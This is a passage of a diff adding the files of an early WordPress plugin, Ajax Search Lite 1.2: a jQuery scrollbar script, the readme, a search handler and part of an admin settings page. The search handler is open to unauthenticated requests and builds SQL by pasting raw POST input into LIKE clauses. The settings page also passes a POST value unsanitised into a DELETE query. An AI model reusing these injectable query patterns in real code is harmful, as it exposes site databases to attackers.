oThumb.obj.css( sCssSize, oThumb[ options.axis ] );
|
104 |
+
}
|
105 |
+
|
106 |
+
function setEvents()
|
107 |
+
{
|
108 |
+
if( ! touchEvents )
|
109 |
+
{
|
110 |
+
oThumb.obj.bind( 'mousedown', start );
|
111 |
+
oTrack.obj.bind( 'mouseup', drag );
|
112 |
+
}
|
113 |
+
else
|
114 |
+
{
|
115 |
+
oViewport.obj[0].ontouchstart = function( event )
|
116 |
+
{
|
117 |
+
if( 1 === event.touches.length )
|
118 |
+
{
|
119 |
+
start( event.touches[ 0 ] );
|
120 |
+
event.stopPropagation();
|
121 |
+
}
|
122 |
+
};
|
123 |
+
}
|
124 |
+
|
125 |
+
if( options.scroll && window.addEventListener )
|
126 |
+
{
|
127 |
+
oWrapper[0].addEventListener( 'DOMMouseScroll', wheel, false );
|
128 |
+
oWrapper[0].addEventListener( 'mousewheel', wheel, false );
|
129 |
+
}
|
130 |
+
else if( options.scroll )
|
131 |
+
{
|
132 |
+
oWrapper[0].onmousewheel = wheel;
|
133 |
+
}
|
134 |
+
}
|
135 |
+
|
136 |
+
function start( event )
|
137 |
+
{
|
138 |
+
$( "body" ).addClass( "noSelect" );
|
139 |
+
|
140 |
+
var oThumbDir = parseInt( oThumb.obj.css( sDirection ), 10 );
|
141 |
+
iMouse.start = sAxis ? event.pageX : event.pageY;
|
142 |
+
iPosition.start = oThumbDir == 'auto' ? 0 : oThumbDir;
|
143 |
+
|
144 |
+
if( ! touchEvents )
|
145 |
+
{
|
146 |
+
$( document ).bind( 'mousemove', drag );
|
147 |
+
$( document ).bind( 'mouseup', end );
|
148 |
+
oThumb.obj.bind( 'mouseup', end );
|
149 |
+
}
|
150 |
+
else
|
151 |
+
{
|
152 |
+
document.ontouchmove = function( event )
|
153 |
+
{
|
154 |
+
event.preventDefault();
|
155 |
+
drag( event.touches[ 0 ] );
|
156 |
+
};
|
157 |
+
document.ontouchend = end;
|
158 |
+
}
|
159 |
+
}
|
160 |
+
|
161 |
+
function wheel( event )
|
162 |
+
{
|
163 |
+
if( oContent.ratio < 1 )
|
164 |
+
{
|
165 |
+
var oEvent = event || window.event
|
166 |
+
, iDelta = oEvent.wheelDelta ? oEvent.wheelDelta / 120 : -oEvent.detail / 3
|
167 |
+
;
|
168 |
+
|
169 |
+
iScroll -= iDelta * options.wheel;
|
170 |
+
iScroll = Math.min( ( oContent[ options.axis ] - oViewport[ options.axis ] ), Math.max( 0, iScroll ));
|
171 |
+
|
172 |
+
oThumb.obj.css( sDirection, iScroll / oScrollbar.ratio );
|
173 |
+
oContent.obj.css( sDirection, -iScroll );
|
174 |
+
|
175 |
+
if( options.lockscroll || ( iScroll !== ( oContent[ options.axis ] - oViewport[ options.axis ] ) && iScroll !== 0 ) )
|
176 |
+
{
|
177 |
+
oEvent = $.event.fix( oEvent );
|
178 |
+
oEvent.preventDefault();
|
179 |
+
}
|
180 |
+
}
|
181 |
+
}
|
182 |
+
|
183 |
+
function drag( event )
|
184 |
+
{
|
185 |
+
if( oContent.ratio < 1 )
|
186 |
+
{
|
187 |
+
if( options.invertscroll && touchEvents )
|
188 |
+
{
|
189 |
+
iPosition.now = Math.min( ( oTrack[ options.axis ] - oThumb[ options.axis ] ), Math.max( 0, ( iPosition.start + ( iMouse.start - ( sAxis ? event.pageX : event.pageY ) ))));
|
190 |
+
}
|
191 |
+
else
|
192 |
+
{
|
193 |
+
iPosition.now = Math.min( ( oTrack[ options.axis ] - oThumb[ options.axis ] ), Math.max( 0, ( iPosition.start + ( ( sAxis ? event.pageX : event.pageY ) - iMouse.start))));
|
194 |
+
}
|
195 |
+
|
196 |
+
iScroll = iPosition.now * oScrollbar.ratio;
|
197 |
+
oContent.obj.css( sDirection, -iScroll );
|
198 |
+
oThumb.obj.css( sDirection, iPosition.now );
|
199 |
+
}
|
200 |
+
}
|
201 |
+
|
202 |
+
function end()
|
203 |
+
{
|
204 |
+
$( "body" ).removeClass( "noSelect" );
|
205 |
+
$( document ).unbind( 'mousemove', drag );
|
206 |
+
$( document ).unbind( 'mouseup', end );
|
207 |
+
oThumb.obj.unbind( 'mouseup', end );
|
208 |
+
document.ontouchmove = document.ontouchend = null;
|
209 |
+
}
|
210 |
+
|
211 |
+
return initialize();
|
212 |
+
}
|
213 |
+
|
214 |
+
}(jQuery));
|
readme.txt
ADDED
@@ -0,0 +1,76 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
=== Ajax Search Lite ===
|
2 |
+
Contributors: wpdreams
|
3 |
+
Donate link: http://wp-dreams.com
|
4 |
+
Tags: search, ajax search, ajax wordpress search, ajax search pro
|
5 |
+
Requires at least: 3.3
|
6 |
+
Tested up to: 3.5
|
7 |
+
Stable tag: 1.2
|
8 |
+
License: GPLv2 or later
|
9 |
+
License URI: http://www.gnu.org/licenses/gpl-2.0.html
|
10 |
+
|
11 |
+
A powerful ajax search engine for WordPress.
|
12 |
+
|
13 |
+
== Description ==
|
14 |
+
|
15 |
+
A resonsive search engine, which will boost your user experience by providing a user friendly ajax powered search form.
|
16 |
+
|
17 |
+
**Features List:**
|
18 |
+
|
19 |
+
* Search in posts and pages
|
20 |
+
* Frontend search settings boxes
|
21 |
+
* Images in search results
|
22 |
+
* Fully ajax powered
|
23 |
+
* Uses jQuery for maximum compatibility
|
24 |
+
* Caches images for faster response
|
25 |
+
|
26 |
+
Homepage: [wp-dreams.com](http://wp-dreams.com)
|
27 |
+
|
28 |
+
Pro version Demo: [Ajax Search Pro](http://wp-dreams.com/demo/wp-ajaxsearchpro)
|
29 |
+
|
30 |
+
**New In pro version 1.6 (2013.02.07):**
|
31 |
+
|
32 |
+
* Demo: [Ajax Search Pro](http://wp-dreams.com/demo/wp-ajaxsearchpro)
|
33 |
+
* Search in BuddyPress, BBPress, JigoShop, Woocommerce
|
34 |
+
* qTranslate ready
|
35 |
+
* Search in any custom post types
|
36 |
+
* Responsive design
|
37 |
+
* Search in custom fields
|
38 |
+
* Category selectors on the frontend – It’s now possible to filter the posts by categories
|
39 |
+
* Post grouping by category or post type!
|
40 |
+
* Search in comments
|
41 |
+
* 35+ Themes - Fully configurable and editable
|
42 |
+
* 70+ Admin options
|
43 |
+
|
44 |
+
== Installation ==
|
45 |
+
|
46 |
+
1. Upload `ajax-search-lite` to the `/wp-content/plugins/` directory
|
47 |
+
2. Activate the plugin through the 'Plugins' menu in WordPress
|
48 |
+
3. Place the shortcode from the settings into your template or post-page
|
49 |
+
|
50 |
+
== Frequently asked questions ==
|
51 |
+
|
52 |
+
|
53 |
+
|
54 |
+
== Screenshots ==
|
55 |
+
|
56 |
+
1. Ajax Search Lite in action
|
57 |
+
2. Administrator area
|
58 |
+
|
59 |
+
== Changelog ==
|
60 |
+
|
61 |
+
= 1.2 =
|
62 |
+
* Search widget added
|
63 |
+
* Multisite fix
|
64 |
+
|
65 |
+
= 1.1 =
|
66 |
+
* Disappear bugfix
|
67 |
+
* WordPress 3.5 compatible
|
68 |
+
|
69 |
+
|
70 |
+
== Upgrade notice ==
|
71 |
+
|
72 |
+
|
73 |
+
|
74 |
+
== Plugin website ==
|
75 |
+
|
76 |
+
`http://wp-dreams.com`
|
search.php
ADDED
@@ -0,0 +1,118 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
add_action('wp_ajax_nopriv_ajaxsearchlite_search', 'ajaxsearchlite_search');
|
3 |
+
add_action('wp_ajax_ajaxsearchlite_search', 'ajaxsearchlite_search');
|
4 |
+
require_once(AJAXSEARCHLITE_PATH."/includes/imagecache.class.php");
|
5 |
+
|
6 |
+
function ajaxsearchlite_search() {
|
7 |
+
global $wpdb;
|
8 |
+
$like = "";
|
9 |
+
$s = trim($_POST['s']);
|
10 |
+
$s= preg_replace( '/\s+/', ' ', $s);
|
11 |
+
if (isset($wpdb->base_prefix)) {
|
12 |
+
$_prefix = $wpdb->base_prefix;
|
13 |
+
} else {
|
14 |
+
$_prefix = $wpdb->prefix;
|
15 |
+
}
|
16 |
+
$search = $wpdb->get_row("SELECT * FROM ".$_prefix."ajaxsearchlite", ARRAY_A);
|
17 |
+
|
18 |
+
$search['data'] = json_decode($search['data'], true);
|
19 |
+
if (isset($search) && $search['data']['exactonly']!=1) {
|
20 |
+
$_s = explode(" ", $s);
|
21 |
+
}
|
22 |
+
if (isset($_POST['options'])) {
|
23 |
+
parse_str($_POST['options'], $options);
|
24 |
+
}
|
25 |
+
$limit = $search['data']['maxresults'];
|
26 |
+
$not_exactonly = ((isset($search['data']['exactonly']) && $search['data']['exactonly']!=1 && !(isset($options['set_exactonly'])))?true:false);
|
27 |
+
$searchintitle = (($search['data']['searchintitle']==1)?true:false);
|
28 |
+
$searchincontent = (($search['data']['searchincontent']==1)?true:false);
|
29 |
+
$searchinposts = (($search['data']['searchinposts']==1 || (isset($options['set_inposts']) || $options['set_inposts']=='checked'))?true:false);
|
30 |
+
$searchinpages = (($search['data']['searchinpages']==1 || (isset($options['set_inpages']) || $options['set_inpages']=='checked'))?true:false);
|
31 |
+
|
32 |
+
if ($searchintitle) {
|
33 |
+
if ($not_exactonly) {
|
34 |
+
$sr = implode("%' OR lower($wpdb->posts.post_title) like '%",$_s);
|
35 |
+
$sr = " lower($wpdb->posts.post_title) like '%".$sr."%'";
|
36 |
+
} else {
|
37 |
+
$sr = " lower($wpdb->posts.post_title) like '%".$s."%'";
|
38 |
+
}
|
39 |
+
$like .= $sr;
|
40 |
+
}
|
41 |
+
|
42 |
+
if ($searchincontent) {
|
43 |
+
if ($not_exactonly) {
|
44 |
+
$sr = implode("%' OR lower($wpdb->posts.post_content) like '%",$_s);
|
45 |
+
if ($like!="") {
|
46 |
+
$sr = " OR lower($wpdb->posts.post_content) like '%".$sr."%'";
|
47 |
+
} else {
|
48 |
+
$sr = " lower($wpdb->posts.post_content) like '%".$sr."%'";
|
49 |
+
}
|
50 |
+
} else {
|
51 |
+
if ($like!="") {
|
52 |
+
$sr = " OR lower($wpdb->posts.post_content) like '%".$s."%'";
|
53 |
+
} else {
|
54 |
+
$sr = " lower($wpdb->posts.post_content) like '%".$s."%'";
|
55 |
+
}
|
56 |
+
}
|
57 |
+
$like .= $sr;
|
58 |
+
}
|
59 |
+
|
60 |
+
|
61 |
+
if ($searchinposts) {
|
62 |
+
$where = " $wpdb->posts.post_type='post'";
|
63 |
+
}
|
64 |
+
|
65 |
+
if ($searchinpages) {
|
66 |
+
if ($where!="")
|
67 |
+
$where.= " OR $wpdb->posts.post_type='page'";
|
68 |
+
else
|
69 |
+
$where.= "$wpdb->posts.post_type='page'";
|
70 |
+
}
|
71 |
+
|
72 |
+
if ($where=="") {
|
73 |
+
$where = "$wpdb->posts.post_type=''";
|
74 |
+
}
|
75 |
+
$orderby = ((isset($search['data']['selected-orderby']) && $search['data']['selected-orderby']!='')?$search['data']['selected-orderby']:"post_date DESC");
|
76 |
+
$s=strtolower(addslashes($_POST['s']));
|
77 |
+
$querystr = "
|
78 |
+
SELECT
|
79 |
+
$wpdb->posts.post_title as title,
|
80 |
+
$wpdb->posts.ID as id,
|
81 |
+
$wpdb->posts.post_date as date,
|
82 |
+
$wpdb->posts.post_content as content,
|
83 |
+
$wpdb->posts.post_excerpt as excerpt,
|
84 |
+
$wpdb->users.user_nicename as author
|
85 |
+
FROM $wpdb->posts
|
86 |
+
LEFT JOIN $wpdb->users ON $wpdb->users.ID = $wpdb->posts.post_author
|
87 |
+
LEFT JOIN $wpdb->term_relationships ON $wpdb->posts.ID = $wpdb->term_relationships.object_id
|
88 |
+
LEFT JOIN $wpdb->term_taxonomy ON $wpdb->term_taxonomy.term_taxonomy_id = $wpdb->term_relationships.term_taxonomy_id
|
89 |
+
LEFT JOIN $wpdb->terms ON $wpdb->term_taxonomy.term_id = $wpdb->terms.term_id
|
90 |
+
WHERE
|
91 |
+
($wpdb->posts.post_status='publish' $searchin) AND
|
92 |
+
(".$where.")
|
93 |
+
AND (".$like.")
|
94 |
+
GROUP BY
|
95 |
+
$wpdb->posts.ID
|
96 |
+
ORDER BY ".$wpdb->posts.".".$orderby."
|
97 |
+
LIMIT $limit;
|
98 |
+
";
|
99 |
+
$pageposts = $wpdb->get_results($querystr, OBJECT);
|
100 |
+
foreach ($pageposts as $k=>$v) {
|
101 |
+
$pageposts[$k]->link = get_permalink($v->id);
|
102 |
+
$img = new wpdreamsImageCache($v->content, AJAXSEARCHLITE_PATH.DIRECTORY_SEPARATOR."cache".DIRECTORY_SEPARATOR, 70, 70, 1);
|
103 |
+
$res = $img->get_image();
|
104 |
+
if ($res!='') {
|
105 |
+
$pageposts[$k]->image = plugins_url('/cache/'.$res , __FILE__);
|
106 |
+
}
|
107 |
+
if ($pageposts[$k]->content!='')
|
108 |
+
$pageposts[$k]->content = substr(strip_tags($pageposts[$k]->content), 0, 130)."...";
|
109 |
+
}
|
110 |
+
|
111 |
+
$results = $pageposts;
|
112 |
+
|
113 |
+
print_r(json_encode($results));
|
114 |
+
die();
|
115 |
+
}
|
116 |
+
|
117 |
+
|
118 |
+
?>
|
settings.php
ADDED
@@ -0,0 +1,5 @@
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<div class="wrap" id="wpdreams">
|
2 |
+
<?php
|
3 |
+
require_once(AJAXSEARCHLITE_PATH."/settings/search.php");
|
4 |
+
?>
|
5 |
+
</div>
|
settings/search.php
ADDED
@@ -0,0 +1,326 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
global $sliders;
|
3 |
+
global $wpdb;
|
4 |
+
//include "types.class.php";
|
5 |
+
$params = array();
|
6 |
+
|
7 |
+
/* General Options */
|
8 |
+
$_search_default['searchinposts'] = 1;
|
9 |
+
$_search_default['searchinpages'] = 1;
|
10 |
+
$_search_default['searchinproducts'] = 1;
|
11 |
+
$_search_default['searchintitle'] = 1;
|
12 |
+
$_search_default['searchincontent'] = 1;
|
13 |
+
$_search_default['searchinexcerpt'] = 1;
|
14 |
+
$_search_default['searchinbpusers'] = 1;
|
15 |
+
$_search_default['searchinbpgroups'] = 1;
|
16 |
+
$_search_default['searchinbpforums'] = 1;
|
17 |
+
$_search_default['searchindrafts'] = 0;
|
18 |
+
$_search_default['searchinpending'] = 0;
|
19 |
+
$_search_default['exactonly'] = 0;
|
20 |
+
$_search_default['searchinterms'] = 0;
|
21 |
+
$_search_default['keywordsuggestions'] = 1;
|
22 |
+
$_search_default['keywordsuggestionslang'] = "en";
|
23 |
+
$_search_default['charcount'] = 3;
|
24 |
+
$_search_default['maxresults'] = 30;
|
25 |
+
$_search_default['itemscount'] = 4;
|
26 |
+
$_search_default['resultitemheight'] = 70;
|
27 |
+
$_search_default['imagesettings'] = 'show:1;cache:1;featured:0;content:1;excerpt:2;imagenum:1;width:70;height:70;';
|
28 |
+
$_search_default['settings-imagesettings'] = array();
|
29 |
+
$_search_default['settings-imagesettings']['show'] = 1;
|
30 |
+
$_search_default['settings-imagesettings']['cache'] = 1;
|
31 |
+
$_search_default['settings-imagesettings']['width'] = 70;
|
32 |
+
$_search_default['settings-imagesettings']['height'] = 70;
|
33 |
+
$_search_default['settings-imagesettings']['imagenum'] = 1;
|
34 |
+
$_search_default['settings-imagesettings']['from'] = array(
|
35 |
+
0=>"featured",
|
36 |
+
1=>"content",
|
37 |
+
2=>"excerpt"
|
38 |
+
);
|
39 |
+
$_search_default['orderby'] = "
|
40 |
+
Title descending|post_title DESC;
|
41 |
+
Title ascending|post_title ASC;
|
42 |
+
Date descending|post_date DESC;
|
43 |
+
Date ascending|post_date ASC||
|
44 |
+
post_date DESC
|
45 |
+
";
|
46 |
+
|
47 |
+
/* Frontend search settings Options */
|
48 |
+
$_search_default['showexactmatches'] = 1;
|
49 |
+
$_search_default['showsearchinposts'] = 1;
|
50 |
+
$_search_default['showsearchinpages'] = 1;
|
51 |
+
$_search_default['showsearchintitle'] = 1;
|
52 |
+
$_search_default['showsearchincontent'] = 1;
|
53 |
+
$_search_default['showsearchinexcerpt'] = 1;
|
54 |
+
$_search_default['showsearchinbpusers'] = 0;
|
55 |
+
$_search_default['showsearchinbpgroups'] = 0;
|
56 |
+
$_search_default['showsearchinbpforums'] = 0;
|
57 |
+
|
58 |
+
$_search_default['exactmatchestext'] = "Exact matches only";
|
59 |
+
$_search_default['searchinpoststext'] = "Search in posts";
|
60 |
+
$_search_default['searchinpagestext'] = "Search in pages";
|
61 |
+
$_search_default['searchintitletext'] = "Search in title";
|
62 |
+
$_search_default['searchincontenttext'] = "Search in content";
|
63 |
+
$_search_default['searchinexcerpttext'] = "Search in excerpt";
|
64 |
+
$_search_default['searchinbpuserstext'] = "Search in users";
|
65 |
+
$_search_default['searchinbpgroupstext'] = "Search in groups";
|
66 |
+
$_search_default['searchinbpforumstext'] = "Search in forums";
|
67 |
+
|
68 |
+
|
69 |
+
/* Layout Options */
|
70 |
+
$_search_default['resultareaclickable'] = 0;
|
71 |
+
$_search_default['showauthor'] = 1;
|
72 |
+
$_search_default['showdate'] = 1;
|
73 |
+
$_search_default['showdescription'] = 1;
|
74 |
+
$_search_default['descriptionlength'] = 100;
|
75 |
+
$_search_default['noresultstext'] = "No results!";
|
76 |
+
$_search_default['didyoumeantext'] = "Did you mean:";
|
77 |
+
$_search_default['highlight'] = 1;
|
78 |
+
$_search_default['highlightwholewords'] = 1;
|
79 |
+
$_search_default['highlightcolor'] = "#d9312b";
|
80 |
+
$_search_default['highlightbgcolor'] = "#eee";
|
81 |
+
/* Theme options */
|
82 |
+
$_search_default['boxbackground'] = '#c1ecf0';
|
83 |
+
$_search_default['boxborder'] = 'border:0px none #000000;border-radius:5px 5px 5px 5px;';
|
84 |
+
$_search_default['boxshadow'] = 'box-shadow:0px 0px 1px 1px #d2dbd9 ;';
|
85 |
+
$_search_default['inputbackground'] = '#ffffff';
|
86 |
+
$_search_default['inputborder'] = 'border:1px solid #ffffff;border-radius:3px 3px 3px 3px;';
|
87 |
+
$_search_default['inputshadow'] = 'box-shadow:1px 0px 3px 0px #ccc inset;';
|
88 |
+
$_search_default['inputfont'] = 'font-weight:normal;font-family:\'Arial\', Helvetica, sans-serif;color:#212121;font-size:12px;line-height:15px;';
|
89 |
+
$_search_default['settingsbackground'] = '#ddd';
|
90 |
+
$_search_default['settingsbackground'] = '#ddd';
|
91 |
+
$_search_default['settingsdropbackground'] = '#ddd';
|
92 |
+
$_search_default['settingsdropbackgroundfontcolor'] = '#333';
|
93 |
+
|
94 |
+
$_search_default['resultsborder'] = 'border:0px none #000000;border-radius:3px 3px 3px 3px;';
|
95 |
+
$_search_default['resultshadow'] = 'box-shadow:0px 0px 0px 0px #000000 ;';
|
96 |
+
$_search_default['resultsbackground'] = '#c1ecf0';
|
97 |
+
$_search_default['resultscontainerbackground'] = '#ebebeb';
|
98 |
+
$_search_default['resultscontentbackground'] = '#ffffff';
|
99 |
+
$_search_default['titlefont'] = 'font-weight:bold;font-family:\'Arial\', Helvetica, sans-serif;color:#1454a9;font-size:14px;line-height:15px;';
|
100 |
+
$_search_default['titlehoverfont'] = 'font-weight:bold;font-family:\'Arial\', Helvetica, sans-serif;color:#1454a9;font-size:14px;line-height:15px;';
|
101 |
+
$_search_default['authorfont'] = 'font-weight:bold;font-family:\'Arial\', Helvetica, sans-serif;color:#a1a1a1;font-size:12px;line-height:15px;';
|
102 |
+
$_search_default['datefont'] = 'font-weight:normal;font-family:\'Arial\', Helvetica, sans-serif;color:#adadad;font-size:12px;line-height:15px;';
|
103 |
+
$_search_default['descfont'] = 'font-weight:normal;font-family:\'Arial\', Helvetica, sans-serif;color:#4a4a4a;font-size:13px;line-height:15px;';
|
104 |
+
$_search_default['arrowcolor'] = '#0a3f4d';
|
105 |
+
$_search_default['overflowcolor'] = '#ffffff';
|
106 |
+
|
107 |
+
$_search_default['magnifierimage'] = "
|
108 |
+
/ajax-search-pro/img/magnifiers/magn1.png;
|
109 |
+
/ajax-search-pro/img/magnifiers/magn2.png;
|
110 |
+
/ajax-search-pro/img/magnifiers/magn3.png;
|
111 |
+
/ajax-search-pro/img/magnifiers/magn4.png;
|
112 |
+
/ajax-search-pro/img/magnifiers/magn5.png;
|
113 |
+
/ajax-search-pro/img/magnifiers/magn6.png;
|
114 |
+
/ajax-search-pro/img/magnifiers/magn7.png;
|
115 |
+
/ajax-search-pro/img/magnifiers/magn8.png||
|
116 |
+
/ajax-search-pro/img/magnifiers/magn3.png
|
117 |
+
";
|
118 |
+
$_search_default['selected-magnifierimage'] = "/ajax-search-pro/img/magnifiers/magn3.png";
|
119 |
+
$_search_default['settingsimage'] = "
|
120 |
+
/ajax-search-pro/img/settings/settings1.png;
|
121 |
+
/ajax-search-pro/img/settings/settings2.png;
|
122 |
+
/ajax-search-pro/img/settings/settings3.png;
|
123 |
+
/ajax-search-pro/img/settings/settings4.png;
|
124 |
+
/ajax-search-pro/img/settings/settings5.png;
|
125 |
+
/ajax-search-pro/img/settings/settings6.png;
|
126 |
+
/ajax-search-pro/img/settings/settings7.png;
|
127 |
+
/ajax-search-pro/img/settings/settings8.png;
|
128 |
+
/ajax-search-pro/img/settings/settings9.png;
|
129 |
+
/ajax-search-pro/img/settings/settings10.png||
|
130 |
+
/ajax-search-pro/img/settings/settings1.png
|
131 |
+
";
|
132 |
+
$_search_default['selected-settingsimage'] = "/ajax-search-pro/img/settings/settings1.png";
|
133 |
+
$_search_default['loadingimage'] = "
|
134 |
+
/ajax-search-pro/img/loading/loading1.gif;
|
135 |
+
/ajax-search-pro/img/loading/loading2.gif;
|
136 |
+
/ajax-search-pro/img/loading/loading3.gif;
|
137 |
+
/ajax-search-pro/img/loading/loading4.gif;
|
138 |
+
/ajax-search-pro/img/loading/loading5.gif;
|
139 |
+
/ajax-search-pro/img/loading/loading6.gif;
|
140 |
+
/ajax-search-pro/img/loading/loading7.gif;
|
141 |
+
/ajax-search-pro/img/loading/loading8.gif;
|
142 |
+
/ajax-search-pro/img/loading/loading9.gif;
|
143 |
+
/ajax-search-pro/img/loading/loading10.gif;
|
144 |
+
/ajax-search-pro/img/loading/loading11.gif||
|
145 |
+
/ajax-search-pro/img/loading/loading3.gif
|
146 |
+
";
|
147 |
+
$_search_default['selected-loadingimage'] = "/ajax-search-pro/img/loading/loading3.gif";
|
148 |
+
$_search_default['magnifierbackground'] = "#eeeeee";
|
149 |
+
$_search_default['showauthor'] = 1;
|
150 |
+
$_search_default['showdate'] = 1;
|
151 |
+
$_search_default['showdescription'] = 1;
|
152 |
+
$_search_default['descriptionlength'] = 130;
|
153 |
+
//$_themes = file_get_contents(dirname(__FILE__).DIRECTORY_SEPARATOR.'themes.json');
|
154 |
+
?>
|
155 |
+
|
156 |
+
<?php
|
157 |
+
|
158 |
+
if (isset($_POST['delete'])) {
|
159 |
+
$wpdb->query("DELETE FROM ".$wpdb->prefix."ajaxsearchlite WHERE id=".$_POST['did']);
|
160 |
+
}
|
161 |
+
|
162 |
+
|
163 |
+
$searchforms = $wpdb->get_results("SELECT * FROM ".$wpdb->prefix."ajaxsearchlite", ARRAY_A);
|
164 |
+
if (is_array($searchforms))
|
165 |
+
foreach ($searchforms as $search) {
|
166 |
+
$search['data'] = json_decode($search['data'], true);
|
167 |
+
|
168 |
+
?>
|
169 |
+
<div class="wpdreams-slider moveable">
|
170 |
+
<div class="slider-info">
|
171 |
+
<span><?php
|
172 |
+
echo $search['name'];
|
173 |
+
?>
|
174 |
+
</span>
|
175 |
+
<span>
|
176 |
+
<label class="shortcode">Search shortcode:</label>
|
177 |
+
<input type="text" class="shortcode" value="[wpdreams_ajaxsearchlite]" readonly="readonly" />
|
178 |
+
<?php new wpdreamsInfo("Copy this shortcode to any page or post!"); ?>
|
179 |
+
<label class="shortcode">Search shortcode for templates:</label>
|
180 |
+
<input type="text" class="shortcode" value="echo do_shortcode('[wpdreams_ajaxsearchlite');" readonly="readonly" />
|
181 |
+
<?php new wpdreamsInfo("Copy this shortcode into your template!"); ?>
|
182 |
+
</span>
|
183 |
+
</div>
|
184 |
+
<hr />
|
185 |
+
<form name="polaroid_slider_<?php echo $search['id']; ?>" action="" method="POST">
|
186 |
+
<fieldset>
|
187 |
+
<legend>Genearal Options</legend>
|
188 |
+
<div class="item">
|
189 |
+
<?php
|
190 |
+
if (!isset($search['data']['searchinposts'])) $search['data']['searchinposts']=1;
|
191 |
+
$o = new wpdreamsYesNo("searchinposts_".$search['id'], "Search in posts?", $search['data']['searchinposts']);
|
192 |
+
$params[$o->getName()] = $o->getData();
|
193 |
+
?>
|
194 |
+
</div>
|
195 |
+
<div class="item">
|
196 |
+
<?php
|
197 |
+
if (!isset($search['data']['searchinpages'])) $search['data']['searchinpages']=1;
|
198 |
+
$o = new wpdreamsYesNo("searchinpages_".$search['id'], "Search in pages?", $search['data']['searchinpages']);
|
199 |
+
$params[$o->getName()] = $o->getData();
|
200 |
+
?>
|
201 |
+
</div>
|
202 |
+
|
203 |
+
<div class="item">
|
204 |
+
<?php
|
205 |
+
if (!isset($search['data']['searchintitle'])) $search['data']['searchintitle']=1;
|
206 |
+
$o = new wpdreamsYesNo("searchintitle_".$search['id'], "Search in title?", $search['data']['searchintitle']);
|
207 |
+
$params[$o->getName()] = $o->getData();
|
208 |
+
?>
|
209 |
+
</div>
|
210 |
+
<div class="item">
|
211 |
+
<?php
|
212 |
+
if (!isset($search['data']['searchincontent'])) $search['data']['searchincontent']=1;
|
213 |
+
$o = new wpdreamsYesNo("searchincontent_".$search['id'], "Search in content?", $search['data']['searchincontent']);
|
214 |
+
$params[$o->getName()] = $o->getData();
|
215 |
+
?>
|
216 |
+
</div>
|
217 |
+
|
218 |
+
<div class="item">
|
219 |
+
<?php
|
220 |
+
if (!isset($search['data']['exactonly'])) $search['data']['exactonly']=0;
|
221 |
+
